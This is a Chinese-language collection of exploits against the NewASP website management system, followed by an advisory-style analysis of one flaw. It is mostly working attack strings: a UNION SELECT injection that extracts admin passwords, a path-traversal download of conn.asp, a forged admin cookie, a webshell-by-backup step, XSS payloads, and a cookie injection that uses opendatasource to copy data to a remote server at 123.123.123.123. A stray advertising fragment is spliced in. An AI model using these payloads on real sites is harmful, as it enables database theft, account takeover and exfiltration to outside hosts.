1.SQL注入漏洞
注册帐号-->发布文章-->文章管理-->属性
http://url/user/articlelist.asp?action=view&channelid=1&ArticleID=1 这个地址就是注入点
union select 1,2 ,password,4,5, username,7,8,9 from nc_admin where id=1
2.下载conn.asp
http://url/flash/downfile.asp?url=uploadfile/../../conn.asp
默认数据库地址
http://url/database/%23newasp.mdb
3.COOKIE欺骗 ASPSESSIONIDCARADBTC=PPFHKFMBMFMGDOEIMKKPDFGL; admin%5Fnewasp=AdminStatus=%B8%DF%BC%B6%B9%DC%C0%ED%D4% B1&AdminID=1&Adminflag=SiteConfig%2CAdvertise%2CChannel%2CTemplate%2CTemplateLoad%2CAnnounce%2CAdminLog%2CSendMessage% 2CCreateIndex%2CAddArticle1%2CAdminArticle1%2CAdminClass1%2CSpecial1%2CCreateArticle1%2CComment1%2CAdminJsFile1% 2CAdminUpload1%2CAdminSelect1%2CAuditing1%2CAddSoft2%2CAdminSoft2%2CAdminClass2%2CSpecial2%2CCreateSoft2%2CComment2% 2CAdminJsFile2%2CAdminUpload2%2CAdminSelect2%2CAuditing2%2CDownServer2%2CErrorSoft2%2CAddShop3%2CAdminShop3%2CAdminClass3% 2CSpecial3%2CCreateShop3%2CComment3%2CAdminJsFile3%2CAdminUpload3%2CAdminSelect3%2CAuditing3%2CAddArticle5%2CAdminArticle5% 2CAdminClass5%2CSpecial5%2CCreateArticle5%2CComment5%2CAdminJsFile5%2CAdminUpload5%2CAdminSelect5%2CAuditing5% 2CDownServer5% 2CAddUser%2CAdminUser%2CChangePassword%2CUserGroup%2CMainList%2COnline%2CVote%2CFriendLink%2CArticleCollect%2CSoftCollect% 2CUploadFile%2CRenameData%2CBackupData%2CRestoreData%2CCompressData%2CSpaceSize% 2CBatchReplace&AdminGrade=999&AdminPass=7a57a5a743894a0e&RandomCode=3N263U7hgb314iwb&AdminName=admin
3.上传备份得到webshell
4.溢出暴绝对路径
http://url/article/show.asp?id=1存在溢出漏洞(+00000000000000000000000000000000000000000000000000000000000000000000000)
5.任意修改任何会员的资料及密码
nc -vv url 80 1.txt
6.跨站漏洞
1:user/changeinfo.asp中question,phone,postcode,UserIDCard,address都没有过滤就进库了直 接'><script>alert('test')</script>< 就可以跨站
2:user/confirm.asp中paymode没有过滤，因为它类型是radio 单选项，本来以为把它保存到本地修改 一下类型就可以了，但是新云有防止本地提交所以就只能抓包了。
google搜索 ：首页连接(首页连接日IP>15000,次页连接无流量限制,欢迎合作连接
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资料补充：
新云网站管理系统是一个采用ASP和MSSQL等其他多种数据库生成静态页面构建的高效网站解决方案。
漏洞描述：
先看const.asp的GetUserTodayInfo过程。
QUOTE:
Lastlogin = Request.Cookies("newasp_net")("LastTime")
UserDayInfo = Request.Cookies("newasp_net")("UserToday")
If DateDiff("d",LastLogin,Now())<>0 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
UserToday = Split(UserDayInfo, ",")
If Ubound(UserToday) <> 5 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
然后是
QUOTE:
Public Function updateUserToday(ByVal str)
On Error Resume Next
If Trim(str) <> "" Then
Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid)
Response.Cookies("newasp_net")("UserToday") = str
End If
End Function
大家都能看出来。updateUserToday(ByVal str)str没有经过任何过滤就防进了数据库。
然后就是
articlepost.asp
message.asp
softpost.asp
upfile.asp
upload.asp
这几个文件对GetUserTodayInfo和updateUserToday过程没有验证的直接调用，导致了sql注入
解决方案：
过滤UserDayInfo
测试方法：
警 告
以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Sobiny（Bug.Center.Team）提供了如下测试方法：
由于UserDayInfo的格式是 0,0,0,0,0,0每一个字符代表了今天使用的权限，有上传，有短信。
而每使用一次权限，使用权限的那个一数字就会自加1。
所以在构造语句的时候要注意。
在提交的页面的过程中。
在当前权限的数量上必须为数字，否则就会发生错误。
而且updateUserToday过程On Error Resume Next语句，已经屏蔽了错误提示，所以我采用opendatasource远程数据库写入。
以message.asp为例
先发送一条信息抓包，然后修改cookies。
（发送信息代码的数字为第5个。于是我们在第4个','只后，第5个','之前的字符必须为数字。）
于是我们修改如下cookies：
QUOTE:
newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0
为
QUOTE:
newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27
server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D
admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
然后用NC发包
就会在远程123.123.123.123服务器上的数据库写入当前的库名。
QUOTE:
%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E
123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E
ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
为
QUOTE:
';insert into opendatasource('sqloledb','server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin').admin.dbo.ku select db_name(0)--,0,0,0,0
